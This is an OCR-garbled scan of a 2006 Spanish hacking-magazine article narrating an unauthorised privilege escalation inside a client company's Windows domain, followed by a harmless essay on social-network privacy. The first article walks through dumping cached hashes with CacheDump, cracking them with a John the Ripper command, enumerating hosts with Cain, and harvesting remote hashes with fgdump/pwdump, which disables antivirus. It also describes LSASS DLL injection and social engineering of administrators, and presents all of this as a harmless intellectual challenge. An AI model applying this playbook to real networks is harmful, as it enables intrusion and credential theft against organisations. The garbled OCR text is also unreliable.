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Unn HISTORIA DE INGENIERIR SOGIAL Y ESGALADA DE PRIVILEBIDS

Todo ello implicaba una serie de ru-
tinarias actividades preliminares a las
que ya estaba acostumbrado. Llegada
a un edificio mds o menos moderno.
Presentacion del personal con el que
debia trabajar. Engullir unas tazas de
café mas o menos bien preparado,
pero en todo caso caliente. Instala-
cién en su nuevo ambiente de trabajo.
Ya se sabe. Mesa, silla, teléfono, co-
nexién a una red externa via ADSL o
similar para el PC portdtil y ordenador
fijo con acceso a la red privada de la
empresa. A continuacion viene la his-
toria que os queremos contar. Como
se pueden ganar privilegios dentro de
una red que confia en nosotros, pero
solo hasta cierto punto.

TOMA DE CONTACTO

Tampoco es cuestion de ponerse a
buscar secretos inconfesables dentro
de una red que pertenece a alguien
del que depende parte de nuestro
sueldo; de hecho, las intenciones de
INGENIERO eran de lo mas honestas.
Tenia por delante una brutal tarea por
realizar y se habia prometido a si mis-
mo dejar para otras ocasiones el fis-
gonear en casa ajena, pero no todo lo
que uno se propone se cumple, v a la
semana del inicio del proyecto se en-
contréd con un obstiaculo burocratico
estipido que paralizé temporalmente
las tareas que tenia en mente. Des-
pués de algunas llamadas telefonicas
y de increpar a ciertos ineptos
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de su corporacién, consi-
guié una promesa formal de
que el problema seria resuel-
to durante la jornada. INGE-

ni mucho, pero lo gue era
evidente es que se iba a en-
contrar con algunas horas por
delante sin mas actividades a realizar
que seguir las conversaciones que en
todas las grandes empresas se repro-
ducen en torno a la maquina de caié,

Mo pasaron muchos minutos sin
que el estdtico y fijo PC que le habian
ofrecido para las comunicaciones in-
ternas acaparara su atencion, mas que
nada por falta de otros alicientes. Era
la tipica maquina de bajo precio dispo-
nible en cualquier oficina que se pre-
cie y que funcionaba bajo Windows
XP. Su objetive no pasaba de poder
imprimir algun documento de lectura
indigesta en la pantalla v acceder a
una base de datos interna donde se
podia encontrar la documentacion del
provecto. Nada del otro mundo. Se le
habian comunicado el usuario v clave
de acceso y se le habia advertido que
sus privilegios eran limitados v que el
acceso a Internet estaba fuertemente

TODO EL MUNDO VIAJA CON

UN PEQUENO DISPOSITIVO DE

ALMACENAMIENTO USB EN EL

BOLSILLO.

SON MUY UTILES PARA INTER-
CAMBIAR DOCUMENTOS DU-
RANTE UNA REUNION Y HAN

SUBSTITUIDO TOTALMENTE A
LOS ANTIGUOS DISQUETES.

restringido por las politicas de la em-
presa. Osea que nada de instalarse
Programas ¥ menos conectarse a cier-
tas webs desde donde bajarse progra-
mas maliciosos.

Después de husmear un poco alre-
dedor comprobé que, efectivamente,
parecia que los técnicos de la corpo-
racion que le acogia habian hecho su
trabajo correctamente. Podia acceder
a Internet pero si pretendia entrar en
webs tan inocentes como www. sel-
ezine.org, una pantalla de colorines
le indicaba que su peticion habia sido
denegada siguiente las directrices em-
presariales. Asi mismo, su visidn de la
red interna era sumamente limitada, y
solo tenia acceso sobre dos impreso-
ras compartidas. Sin embargo, habia
dos puntos débiles. Por algin motive,
no tenia los derechos normales de un

...UN AGUJERO EN UNA MAQUINA
NIERO no se lo creyé ni poco SE CONVIERTE EN UN PROBLEMA
GENERALIZADO EN LA RED...

usuario estandar, sino que pertene-
cia a un grupo definido como usuario
de copias vy, por otro lado, habia dos
conectores USB que le invitaban a ha-
cer alguna travesura.

COMIENZA LA PARTIDA

Hoy en dia, todo el mundo viaja
con un pequeno dispositive de alma-
cenamiento USB en el bolsillo. Son
sumamente utiles para intercambiar
documentos durante una reunién y
han substituido totalmente a los anti-
guos disquetes. Estos dispositivos pue-
den contener de todo, desde informes
confidenciales, hasta planos secretos,
aungue también se pueden encontrar
fotografias comprometedoras, mensa-
jes indecentes y en algunos casos di-
rectorios completos con toda clase de
software mas o menos legal. En nues-
tro caso, INGENIERO siempre viajaba
con algunos programas de facil uso y
que no requerian instalacién alguna,
para que la falta de privilegios no le
fuera demasiado molesta. Uno de ellos
era una pequeina herramienta llamada
“CacheDump”.

La podemos encontrar en http://
www.off-by-one.net/misc/cachedump.
html en su version 1.2, y como su
nombre da a entender sirve para po-
der descargar de un ordenador local
las “hash” de las palabras de paso
utilizadas para poderse autentificar
frente a un dominio de red. El motivo
por el cual se guarda en modo local
informacidn que debiera estar solo en
el servidor del dominio DC (Domain
Controller) es ficil de entender. Nor-
malmente, los usuarios se autentifican
desde un ordenador fijo conectado
en red, pero con el auge de los por-
titiles y de los pobres viajeros que se
conectan desde cualquier parte del
mundo, también hay que prever que el
desdichado de turno pueda poner en
marcha su maquina cuando se encuen-
tre esperando un avidn, asi su produc-
tividad aumentard considerablemente,
pero ello solo es posible si es capaz
de que alguien valide su palabra de
paso. En las mdquinas que utilicen
el sistema NTLM/NTLMv2 el sistema
LSASS (Local Autority System Service)
busca la informacién en el caché de la
maquina. El mecanismo es el siguiente.

H ATAQUE A UMA RED DE CONFIAMIA

El proceso de WINLO-
GON muestra el dialogo
msgina y pide el nombre del
usuario, su pasword y el do-
minio sobre el que se quie:
re validar. Bajo el control
de LSASS, se lanza el pro-
grama MSV1_0.dll, que verifica si el
dominio estd disponible. En caso con-
trario, intenta verificar si la pasword
cuadra con la hash almacenada. Esta
se encuentra en el registro HKLM)
SECURITYN\CACHE\NLS$n al que solo
puede acceder el usuario SYSTEM. El
registro contiene diversos datos pero
lo fundamental es que en uno de ellos,
llamado EDATA, se encuentra algo
llamado MSCASH, la pasword cifrada
seglin MD4 con una clave estdtica
LSA que todos los PCs que sigoen este
esquema tienen. Bueno, no es exac-
tamente asi, pero sirve para definir el
problema. De todas formas lo impor-
tante es entender que CacheDump
crea un servicio, lee al vuelo la clave
LSA usada para el cifrado v muestra en
pantalla los valores que corresponden
a MSCASH. Tedricamente, solo con
derechos de administrador se pueden
obtener resultados, pero INGENIERO
recibié con agrado un mensaje con
tres lineas. Cada una de ellas tenia la
misma configuracién, un nombre co-
rrespondiente a un usuario el caricter
“:" de separacién a continuacién 32
caracteres hexadecimales correspon-
dientes a la hash, otra vez dos puntos
y después el nombre del dominio.

}Pero una vez con esta informacion
que podemos hacer ¢

Descifrando hash con John The Rip-
per (JDR)

Las tertulias se habian desplaza-
do desde la mdquina de café hacia la
puerta del recién llegado, e INGENIE-
RO tuvo que detener sus actividades
momentineamente para rendir pleite-
sia a la reina SECRETARIA, sin la cual
se podia encontrar sin billete de avién
o, lo que puede ser peor, con una can-
celacion de reserva de hotel a las diez
de la noche. Siempre son personajes
a los cuales hay que tratar con carifo,
esmero y darles conversacion. Asi que,
después de activar el salvapantallas
para evitar miradas curiosas, dejé pa-
sar unos minutos de intrascendente
chichara arites de volver a sus mani-
pulaciones.

La proxima tarea consistia en desci-
frar las hash recién adquiridas.

En el mismo “readme” de Cache-
Dump se describian las técnicas a utili-
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DE TODAS LAS UTILIDADES, LA
MAS INTERESANTE ES “PWDUMP",
ES CAPAZ DE
EXTRAER LAS HASH NTLM
Y LANMAN DE UNA MAQUINA RE-
MOTA SI SE TIENEN DERECHOS DE
ADMINISTRADOR SOBRE ELLA.

zar. Probablemente alguno se acuerda
del mejor crackeador de pasword que
existe hoy en dia v que se llama

John The Ripper. El inico problema
es que la version oficial no dispone
de los mddulos necesarios para atacar
este tipo de hash. De todas formas el
problema ha sido abordado por otras
personas de la comunidad y basta con
acercarse a http://www.banquise.net/
misc/patch-john.html, donde se puede
descargar un solo patch especifico pa-
ra este problema en concreto o bien
aplicar otro que da soporte para mil y
una forma distinta de cifrar.

Mo vamos a explicar aqui como se
instala JDR o cdmo se aplica el patch.
Baste con decir que INGENIERO lo
tenia todo preparado en su dispositivo
USB mégico v que la bastd con copiar
las hash en archivo llamado pardillos.
txt v lanzar “john -format:mscash par-
dillos.txt”... vy esperar. Las pasword
que utilizan los técnicos para conec-
tarse a maquinas que tienen pequenos
problemas no acostumbran a ser muy
complicadas pero tampoco son de las
que caen en Cinco minutos, asi que se
lo tomd con calma y dejo su magquina
trabajar mientras él se dedicaba a las
relaciones humanas, que en su caso se
trataba mas bien de ingenieria social,
o sea, enterarse del mayor nimero de
chismes que le pudieran ayudar en su
trabajo normal o bien en sus oscuras
actividades. Siempre es bueno saber
si hay algin tipo de camuflado con-
flicto sexual entre los elementos del
proyvecto o bien simplemente conocer
qué tipo de antipatias mutuas existen
dentro del nuevo submundo social en
el que habia aterrizado.

Pasados unos cuantos dias, se en-
contraba de lleno en sus tareas oficia-
les, cuando al echar una ojeada a la
tarea que trabajaba a escondidas en
su mdquina, descubrid con satisfac-
cion que una de las hash habia sido
desciirada. Empezaba una nueva fase
en la caza.

EXPLORACION DEL ENTORNO

A pesar de que tenia gran expe-
riencia en este tipo de actividades,
siempre se experimenta un escalofrio
de satistaccion cuando se conecta a
una maquina desconocida, contra un



dominio del que se desconoce to-
do, como un usuario del que solo
se conoce su existencia y con una
pasword que te ha llegado con mé-
todos dudosos. Cuando la miquina
acepta tus credenciales, toda una
sensacion dificil de explicar recorre
tu columna vertebral. Dejando de
lado las satisfacciones personales
de cada uno, el hecho es que IN-
GENIERO disponia de una nueva
personalidad para explorar su md-
quina, asi que lo primero que com-
probd fue a qué grupo pertenecia,
y descubrié con satisfaccién que
se habia convertido en un todo-
poderoso usuario de su maquina.
Quedaba por ver qué pensaban el
resto de ordenadores de la red, y
sobre todo qué opinidn tenian los
“Domain Controllers” acerca de
sus nuevas credenciales.

Para explorar la red tenia diver-
sas posibilidades. Podia utilizar sim-
plemente el browser de Windows
XP, aunque podia ser menos intrusi-
vo que otros métodos, el problema
era que le daba demasiada informa-
cidn acerca de todas las mdquinas
disponibles, pero poca acerca de
los DC que se encontraban gober-
nando la red. De todas formas en
su magico dispositivo USB, tenia
una version de HIENA, cuya ver-
sion oficial se puede encontrar en
http://www.adkins-resource.com/
o también el instalable de CAIN
(http://www. oxid.it), que para la
tarea que deseaba realizar eran
mads que suficientes. Después de
reflexionar un poco se decidié por
CAIM. Pocos antivirus lo detectan
como un virus y en caso de encon-
trarse con alguna alarma insospe-
chada, siempre podia poner cara
de inocente y confiar en que ahi
era nuevo y no conocia las reglas.
La instalacion de CAIN es a prueba
de cretinos y cualquiera con un
poco de atencidn puede realizarla.
Su utilizacién tampoco requiere un
madster en informdtica vy, ademds,
INGENIERD no queria utilizar nin-
guna de sus posibilidades avanza-
das, sino simplemente conocer las
direcciones de las maquinas utiliza-
das como workstation. Las pruebas
hay que realizarlas poco a poco y
siempre es bueno conocer un poco
la filosofia de los que han instalado
la red.

Iba a lanzarse a un examen de
la red cuando se tropezé con un
problema imprevisto. Venia de to-
mar un café y de discutir un pro-
blema inexistente (de esos hay a
montones en las empresas) con un
jefe al que le gustaba sobremanera
interrumpir los proyectos en el mo-
mento que mds dafo podia hacer,
cuando descubrié horrorizado que
por un extrafio juego de reflexiones
entre el cristal de los amplios ven-
tanales y de la puerta acristalada,
la pantalla del ordenador fijo era
claramente visible desde el pasillo.
Munca se habia dado cuenta, por el
simple motivo de que dicho orde-
nador lo utilizaba muy poco y cuan-
do lo hacia se encontraba delante
de él y no en el pasillo. El caso es
que no era momento de que todo
paseante pudiera comprobar qué
es lo que pasaba en su ordenador y
tampoco empezar a cerrar puertas
cuando ya todo el mundo conocia
sus hdbitos. Asi que tuvo que dejar
sus actividades para cuando hubie-
ra menos transeuntes; o sea, 0 muy
temprano por la mafana o bien tar-
de al final de la jornada.

Al dia siguiente ya se encontra-
ba delante de su mdquina y rdpi-
damente lanzé el CAIN con tres
objetivos: comprobar y recoger in-
formacion de algunas workstation,
comprobar si habia servidores de
impresoras y tomar los datos de los
DC de la red.

PRIMER CONTACTO

Una vez digeridos los datos de la
primera prueba, la segunda consis-
tid en intentar una conexién a una
workstation con el usuario que te-
nia derechos de administracién so-
bre su miquina. Para ello utilizé las
posibilidades de CAIN, que va tiene
automatizado todo el proceso. Con
poca sorpresas, comprobd que di-
cho usvario podia acceder a todas
las workstation que habia anotado.
Esto es de lo mas habitual, los ad-
ministradores necesitan una cuenta
para poder conectarse a distancia
a las mdquinas que tienen proble-
mas. Asi evitan desplazamientos y
aumentan su productividad, pero
la consecuencia es que un agujero
en una miquina se convierte en un
problema generalizado en la red.
Mo intentd ver el contenido de las
maquinas bajo su control, ya que

ET ATAQUE A UMA RED DE CONFIAMIA

este no era su objetivo. No deseaba
obtener informacién, sino solo cuanti-
ficar su capacidad de alcanzarla.

A conlinuacion, segan el plan es-
tablecido mentalmente, INGENIERO
empezd una segunda cosecha de usua-
rios y paswords. Para ello, eché mano
de otra de sus utilidades almacenadas.
Mo podia buscar en la red ya que las
politicas de acceso continuaban a imi-
tarle los accesos, debido a que los
administradores de la red no veian con
buenos ojos, con buen criterio, que un
personaje que se debiera dedicar a re-
parar problemas de software a distan-
cia, tuviera que perder su tiempo en
webs de hacker o de sexo. Sin embar-
go, como hemos dicho, INGENIERD
era previsor y en las profundidades de
su dispositivo USB, tenia todo lo que
pudiera desear; y en este caso, con
“fgdump” tenia mds que suficiente.

“fgdump” en realidad no es una uti-
lidad sino un conjunto de ellas. Su ob-
jetivo principal es extraer a distancia
todo tipo de hash que se encuentren
escondidas en una mdquina Windo-
ws 2000, XP o NT. 5egdn su autor,
el origen de esta herramienta mdlti-
ple fue la frustracién que encontraba
como administrador ante la reaccidn
de algunos antivirus que bloqueaban
las maquinas de sus esclavos cuando
pretendia realizar alguna inspeccion
a distancia. Hay algunos antivirus que
se bloquean debido al funcionamiento
de “pwdump”, uno de los elementos
de “fgdump”, otros muestran un men-
saje de alarma en la maquina inspec-
cionada y otros simplemente tienen
un comportamiento erritico. Si los
responsables de la red tienen que re-
cordar qué hay en cada segmento de
una red no homogénea, ello puede ser
un verdadero rompecabezas, asi que
se cred algo que ejecutara todas las
operaciones de forma automdtica. A
saber,

1) 5e conecta a una mdquina re-
mota utilizando IPC$%, 2) Detiene los
antivirus standard, 3) Localiza los di-
rectorios compartidos por la maquina,
4) Localiza los directorios en los que
se pueden escribir, 5) Se copia el eje-
cutable fgexec y cachedump, 6) Ejecu-
ta pwdump, 7) Ejecuta pstgdump, 8)
Borra los archivos copiados, 9) Se des-
conecta de los directorios, 10) Vuelve
a activar el antivirus 11) Se desconecta
de IPCS...
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Mo estd nada mal para una sola
utilidad.

De todas las utilidades, la mas in-
teresante es “pwdump”. Es capaz de
extraer las hash NTLM y LanMan de
una maquina remota si se tienen de-
rechos de administrador sobre ella.
Mo importa si Syskey estd activado o
no. Los datos salen en formato com-
patible con LOphtcrack ademas de po-
derse escribir sobre un fichero. Con
ello se pueden utilizar los datos para
alimentar cualguier otro crackeador,
John The Ripper, por ejemplo. Co-
mo regalo gratuito es capaz también
de extraer el histdrico de los dltimos
cambios, con lo cual se puede llegar
a adivinar las paswords futuras si el
administrador utiliza alguna pauta pa-
ra generarlas. Su uso es bien sencille
y lo dnico que es obligatorio es el
nombre de la miquina que quere-
mos atacar y desde luego el usuario y
pasword con derechos de administra-
cion en ella.

INGENIERO empezd sus pruebas
con calma. Primero eligié maquinas
normales de usuarios normales y co-
rrientes. Los primeros resultados solo
le permitieron confirmar que se esta-
ba wutilizando la misma pasword para
todos los Administrador locales. Esto

. EN LAS REDES CORPORATIVAS

NORMALES NO HAY, NORMALMEN-

TE, NADIE CONTROLANDO SI HAY

MAQUINAS QUE TIENEN UNA AcC-

TIVIDAD INUSITADA, PERO NUNCA
SE PUEDE ESTAR SEGURO.

no puede considerarse un fallo sino
tan solo la consecuencia inevitable
de realizar la configuracion de todos
los PC de forma automitica. Es la uni-
ca forma de no volverse loco cuando
se tiene que hacer instalaciones en
una veintena de maquinas diariamen-
te y puede subir a valores mas altos
si coincide algin tipo de cambio de
sistema en la empresa.

Fuera la razén o motivo que fuere,
el caso es que empezd a colectar una
razonable cantidad de hash, las cua-
les fue anotando cuidadosamente se-
parando las que presentaban menos
privilegios. Sin embargo, no desdefd
ninguna de ellas ya que nunca se sa-
be cudl puede ser la utilidad futura de
este tipo de informacién. Después ya
veremos los motivos. El caso es que
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después de visitar una docena de PC
tenfa entre las manos un par de hash
de unos usuarios que aparentemente
tenian derechos superiores a la me-
dia. Por ahi empezd la segunda parte.

CONTINUA LA INVESTIGACION

La segunda parte consistia en crac-
kear las tres hash de los usuarios que
intuia podian dedicarse a tareas de
administracién. Es una tarea bastante
lenta, sobre todo si no se desea lla-
mar la atencién y, como en el caso
de INGENIERO, no le interesa utilizar
las midquinas de la empresa contra-
tante para hacer el trabajo sucio. En
las redes corporativas normales no
hay normalmente nadie controlando
si hay mdquinas que tienen una acti-
vidad inusitada, pero nunca se puede
estar seguro, asi que con el tiempo
disponible de su portitil solo por las
noches tardd sus buenas dos semanas
en tener la informacion apetecida; sin
embargo, como con buena paciencia
todo se consigue finalmente, un buen
lunes se encontrd con mads material
para probar y objetivos mds apeteci-
bles.

Como habiamos explicado, dispo-
nia de toda la lista de servidores de
datos y de DC. Con este bagaje em-
pezd buscando informacidn en los
servidores de datos. “fgdump” dispo-
ne de varias opciones pero las mas
importantes son -u para indicar que
usuario queremos suplantar, -p para
indicar la pasword y -h para indicar
&l nombre de la miquina o bien su
direccién IP. Como en sus primeros
pasos, no se le ocurrié conectarse a
los servidores DC yv empezd por los
servidores simples de datos. Estos
son normalmente una fuente segura
de credenciales. Muy a menudo hay
problemas de mantenimiento, sea por
manipulacion erronea que ha destrui-
do datos que deben restaurarse, sea
por los procesos de backup. Aunque
estos debieran hacerse siempre ba-
jo usuarios especificos, creados solo
para este fin, el caso es que muy a
menudo, los administradores de gran-
des redes caen un dia u otro en la
tentacion de conectarse en una de
e5as maquinas para hacer una opera-
citn de rutina. Craso error. Con esta
accidon queda registrados su datos y
después pueden ser recuperados con
“fgdump”

Mds por curiosidad que por necesi-
dad empez6 sus conexiones utilizan-
do la pasword del administrador local,

pero en ningun caso tuvo éxito. En
esto ya hay pocos técnicos que caen
en este error v habian tenido buen
cuidado en cambiar las secuencias
de las pasword cuando empezaron la
configuracidon de los servidores. Un
punto a favor de los administradores.
Sin embargo, el primer usuario con
privilegios elevados ya le dio acceso
y una nueva cosecha de usuarios y
pasword. Después de visitar media
docena de servidores de datos y con-
troladores de impresoras, la montana
de datos recolectada sobrepasaba
con creces |la capacidad de calculo
de su mdquina nocturna. Mo tenia
tiempo, ya que el tiempo previsto pa-
ra el proyecto en aquella empresa va
llegaba a su fin, pero la curiosidad le
mordia el alma y tenia que encontrar
un método mas ficil para conseguir
la pasword del usuario con privilegios
de administracion sobre el DC prin-
cipal.

Decidid utilizar un poco la inge-
nierfa social. Ya empezaba a ser co-
nocido en la empresa y la gente tenia
cierta confianza en él. Con el método
simple de detectar los horarios de
los informdticos a la maquina de café
{iban siempre juntos, cual ovejas),
cambid sus costumbres vy se hizo el
encontradizo. Ahi se enterd de quién
era cada uno de ellos. Después pro-
voco un par de incidentes de bajo
nivel. Las impresoras son una excusa
magnifica para ello. Con estos da-
tos, cruzd persona fisica con usuario
informdtico y detectd que tenia la
pasword de uno de ellos. jAhi en-
contrd el regalo! Como ocurre a me-
nudo, el administrador cambiaba de
usuario cuando hacia una operacitn
de mantenimiento, pero utilizaba la
misma pasword para ambos perfiles,
Se le puede acusar de desidia pero
lo cierto es que todos hacemos cosas
similares, ya que resulta imposible
acordarse e una docena de pasword
sobretodo si por politica de seguridad
es necesario cambiarla cada cierto

tiempo.

Todo esto puede parecer imposi-
ble, pero el hecho es que esto es una
histgria real. La fuente del problema
reside en gque Windows permite la ins-
talacidn de servicios de forma remota.
En este caso “pwdump” se conecta
en directorio compartido v después
copia el ejecutable que lanzara el ser-
vicio. La metodologia para conseguir
la extraccion de las hash fue descrita



hace tiempo por Todd Sabin. La téc-
nica es conocida como inyection de
DLL. Primero, utilizando los derechos
de administracién se cambian los pri-
vilegios a debuger. Esto permite abrir
y escribir en el espacio de memoria
reservado a el proceso LSASS (Local
Security Authority Subsystem). Se co-
pia una funcidn en este espacio y va
con privilegios mds elevados es po-
sible descargar LSAEXT.DLL vy lanzar
una rutina no documentada que per-
mite la extraccion de las hash. Todo
ello implica que debemos iniciar el
ataque con derechos de administra-

SET

dor, pero hemos visto que esto a ve-
ces es donado graciosamente debido
a un error de configuracion de los
grupos de usuarios.

COMNCLUSIONES

#Qué es lo hizo con esta informa-
cidn INGENIERO? Pues os asegura-
mos que nada. Fue solo el placer del
reto puramente intelectual. De todas
formas, decir que no hizo nada tam-
poco es cierto. Unos dias mds tarde
¥ poco antes de irse a un nuevo pro-
yecto se encontrd a uno de los admi-
nistradores alrededor de la sacrosanta

ATAQUE & UNA RED DE CONFIAMZA

maquina de café,

Sin darle mds importancia le co-
mentd que le parecia raro gue los
usuarios normales tuvieran unos privi-
legios que no le correspondian. El ad-
ministrador le respondié que siempre
se¢ habia hecho asi y que con esto se
evitaban problemas con ciertos jefes
que deseaban hacer instalaciones por
su cuenta. INGEMNIERO no respondid
y le desed suerte mentalmente, mu-
cha suerte,

2006 SET, Saquesdones Ediciones Téonicas.
Informacidn ibee para gente libre
'|'|"'|"|"'|-'|I'.'5-E‘1-E'I'r|'l'l?'.1:llﬂ,

DECIDIO UTILIZAR UN POCO LA INGENIERIA SOCIAL. YA EMPEZA-
BA A SER CONOCIDO EN LA EMPRESA Y LA GENTE TENIA CIERTA

CONFIANZA EN EL.




¢COMPATIBLES CON LA INTIMIDAD?

-

éCompatibles con la intimidad?

Con la explosion del modelo web 2.0, y la evolucién de sistemas de chat y mensajeria ins-
tantdnea, las Redes Sociales se han establecido como todo un exponente de la nue-
va filosofia de la red en la que se facilita la interaccién social, definida como un inter-
cambio dindmico entre personas, grupos e instituciones. Sin embargo un sistema tan
abierto también puede llegar a suponer un riesgo para sus usuarios si no saben utilizarlo.

Las redes sociales en Internet son una reali-
dad palpable que ya se ha ganado a pulso
un lugar en el Olimpo cibernético. Las cla-
ves han sido convertirse en negocios ren-
tables para algunas empresas v en lugares
perfectos para encuentros entre usuarios de
la red. Hoy en dia existen redes sociales de
todos los tipos, colores y sabores: para ligar,
para hacer negocios, para compartir aficio-
nes. Hay cientos de sitios web dedicados
a crear y gestionar redes sociales, lugares
donde es posible invitar amigos y conocer
a olros usuarios, amigos de amigos, o comu-
nidades con intereses comunes, habiendo
creado de esta forma todo un ejército de
seguidores que luchan por ser los mas popu-
lares en cada red, asi como detractores que
cuestionan su utilidad y previenen sobre el
peligro que pueden llegar a representar para
nuestra intimidad v nuestros jGvenes.

El concepto en s de red social, basado en la
teoria de los seis grados de separacion, no

&5 nada nuevo aunque nos lo pueda llegar a
parecer. De hecho, las investigaciones sobre
el tema empezaron a principios del siglo XX,
i,r prosiguieron en los anos 50, creciendo en
os 60 y 70, y alcanzando todo su apogeo
estos dltimos afios con el enorme avance de
la capacidad de los sistemas informaticos.
Alrededor de 2001 y 2002 aparecen los pri-
meros sitios web que postulan una politica
de redes de amigos aunque es en el 2003
cuando alcanzan una notable popularidad
con sitios tan conocidos como Friendster,
Tribe v MySpace. El éxito hace que algunas
empresas entren en el mercado y en el 2004
Google lanza Orkut.com, aprovechdndose
de un experimento que uno de sus emplea-
dos realizaba en su tiempo libre (algo ya
habitual). En 2005 entran en el panorama
social Yahoo 360° v otros mds.

PLIESTA EM MARCHA
¥ es que poner en funcionamiento una red

social es algo relativamente sencillo, una vez,
que se tiene un objetivo temadtico claro, Tras
montar el soporte técnico (fundamental para
&l mantenimiento adecuado de la web) bas-
tari con que un gruptsculo inicial invite a
amigos y conocidos a formar parte de la mis-
ma. En el momento en el que se cumpla la
premisa de que cada individuo puede traer
consigo muchos nuevos usuarios, la logica
dice que el crecimiento de miembros puede
Hegar a ser de orden exponencial, momento
en el cual el sitio web puede llegar a trans-
formarse en un negocio interesante.

Y para muestra un botdn. Myspace tieng
mas de cien millones de usuarios, pertenece
a News Corp (la transaccion de adquisicion
del duefio anterior rondd los $580 millones)
posiciondndose como la mayor en su tipo e
incluyendo temas tan diversos como la bus-
gqueda de personas desaparecidas.

Otro ejemplo de iniciativa social con éxito
es Facebook.com, una red enfocada a estu-



diantes (parecida a myspace.com), con
mas de 9 millones de usuarios registrados
y donde ha habido una importante inver-
sién publicitaria por parte de Microsoft
con sus productos MSN y Windows Live,
Llegé incluso a correr el rumor de que
Yahoo podria estar interesada en pagar
Ecrr ella un valor de unos nada desprecia-
les mil millones de délares, aunque dlti
mamente se ha oido hablar mas de Flickr
o de YouTube, recientemente comprada
por Google.
El caso es que la popularidad adquirida
ha hecho que se conviertan en un obje-
tivo ideal para individuos con dudosas
intenciones (pese a que lo cierto es que
en Espana el uso de Internet como medio
de relacidn social entre los adolescentes
todavia sigue desarrollindose fundamen-
talmente a través del Messenger). Esto
e comprobarse rapidamente viendo
a clasificacién que todos los afos hace
Google y que publica bajo el nombre de
Zeitgeist: un recorrido por las palabras
mds populares del conocido buscador
durante el afio. Entre las 10 primeras de la
dltima clasificacion que hace referencia al
2006, hay 5 referencias a productos rela-
cionados con herramientas web sociales.
Un reflejo mds de la creciente importan-
cia que tiene este tipo de servicios entre
los usuarios de Internet. El puesto 1 lo
ocupa Bebo, la red social creada a princi-
pios de 2005 para Reino Unido e Irlanda
¥ que pretende hacer sombra a MySpace,
enfocandose también en el pablico mds
joven. En un segundo puesto mds que
onorable se encuentra la no menos cé-
lebre MySpace que es la que cuenta con
mas adeptos en el mundo (sobre todo en
EEUU), y que es ya el quinto sitio web por
audiencia en t Internet. Todavia en el
top 5 (en el puesto 4) nos encontramos a
Metacafe, un sitio web para compartir y
ver videos (similar a YouTube, pero con
mucha mads frescura), que desde Israel
esta consiguiendo una gran popularidad.
Por dltimo, una veterana que no podia
faltar es la Wikipedia (en el puesto 6), la
enciclopedia online por excelencia, cola-
borativa, v, segin Alexa, en la posicidn
nimero 12 de sitios web con mas trifico

de la red.

Otro indice de ularidad podria me-
dirse con la lista de las preguntas mas
frecuentes realizadas al buscador Go-
ogle (http:/fwww.google.com/press/zeit-
geist2006/whatshot.html) donde encon-
tramos muchas cuestiones relacionadas
con las herramientas sociales: “define
web 2.0%, “what is ajax” 0 *how to blog”.

JCONFIANZA? Sl PERO SOLO VIR-
TUAL

Como es logico nunca llueve a gusto de
todos vy las redes sociales no iban a ser
una excepcion. Con la popularizacién de
las mismas han arreciado las criticas (al
margen de su necesidad, utilidad y funcio-
nalidad que muchos ponen adn en duda)
sobre lo relativo a la amenaza que puede
suponer para la intimidad de sus propios
usuarios, cuando no directamente al aco-
50 que éstos pueden sufrir debido al bom-
bardeo para aceptar amigos o extrafios.
El movimiento de resistencia contra el
‘acoso’ de las redes sociales tiene su maxi-
ma y satirica expresion en Introverster, un

sitio web
dedicado a
formar wuna
comunidad
antisocial
que ayuda
a no hacer
nuevos ami-
gos,  abo-
gando por
que “nadie
te  moleste
cuando es
tds conecta-
do”,

Lo cierto es
que, de mo-
mento, quie-
nes mds se quejan de las redes sociales
y su influencia son, paradojas de la vida,
aquellos con mayor presencia en la red.
Es decir, los mds populares se ven afec-
tados por un tipo de herramienta social
creada con el fin de conseguir emular ese
mismo modelo (en cuanto a lo social se
refiere, claro). El resto de usuarios, la gran
mayoria, la ve como una sencilla alterna-
tiva a la pagina personal o el weblog para
contar con una identidad en la Red.

Lo cierto es que quien se posiciona en
contra de las redes sociales, normalmente
es por qué ha pertenecido a alguna de
estas, Para sustentar esta animosidad por
este fendmeno en la red, esgrimen como
motivos, por ejemplo, la elitista férmula
de la invitacién para pertenecer a alguna
de estas redes, que limita su generacion
espontanea y queda en manos de las re-
glas de los creadores. Asimismo critican la
total artificialidad y frivolidad para definir
las relaciones, empezando por ‘amigo’ o
‘no-amigo’ sin ningdn término medio, con-
tinuando por el limitado y descontextua-
lizado sistema para clasificar los amigos,
un sistema susceptible de crear confusién
Y agravios comparativos. Otro aspecto
criticado es la jerarquia en los listados
de amigos y comunidades, asi como el
crecimiento antinatural de las redes, ba-
sado en agrupar rdpidamente a muchos
contactos sin saber luego qué hacer con
ellos. Pero la guinda se la lleva la critica en
lo que respecta a los sistemas mediante
los cuales recopilan informacion perso-
nal y la forma en la que esta se usa. Y es
que inscribirse exige normalmente ceder
muchos datos personales que quedan en
manos extraias, cuando no, es necesario
aceptar unas condiciones que dejan al
usuario totalmente expuesto e indefenso.

CUIDADO CON LOS DATOS REALES

En ese aspecto, uno de las mayores repro-
ches que ha recibido la red social Orkut
es la referida a los Términos del Servicio
y Politica de Privacidad, que la acusan de
despojar a los usuarios de algunos de sus
derechos mds elementales. Por ello, siem-
pre es aconsejable que los usuarios de las
redes sociales (aunque podemos exten-
derlo a la red en general) administren de
torma adecuada la informacidn que reve-
lan sobre si mismos (imdgenes, datos de
contacto, cuentas de correo electrénico,
identidad en servicios de mensajeria ins-
tantinea, preferencias personales, orien-
tacion sexual, ideologia, etc.) ya que de
lo contrario la vida privada vy la intimidad

pueden pasar de un plano personal al so-
cial y de alli al mercado piblico.

Pero en realidad esto supone una extrafia
contradiccion. Si damos nuestros datos
reales a una aplicacién social conseguire-
mos maximizar su utilidad. Sin embargo,
nos exponemos a que todo el mundo co-
nozca nuestra intimidad y esto incluye a
spammers, hackers, jefes, esposas, caseros
y directores de banco. Si por el contrario
nos protegemos falseando la informacidn

QUIENES MAS SE QUEJAN DE
LAS REDES SOCIALES Y SU IN-
FLUENCIA SON, PARADOJAS
DE LA VIDA, AQUELLOS CON
MAYOR PRESENCIA EN LA RED.

fque demos, estaremos contaminando la
base de datos y comprometiendo la utili-
dad de la misma para el resto de usuarios,
Se entra pues en un contrasentido, un di-
lema paraddjico del que es dificil encon-
trar mﬁ?ues-la- JQuizds esta se encuentre
en localizar un punto de equilibrio (nadie
ha dicho que serfa una empresa facil)?
En cualquier caso, si vamos un poco mas
lejos vy rozamos las teorias paranoicas,
jacaso no estamos ya entregando nues-
tros datos a decenas, cuando no cientos,
de entidades que pueden estar haciendo
un uso indebido de los mismos (bancos,
organizaciones o comercios, por citar al
gunos)?

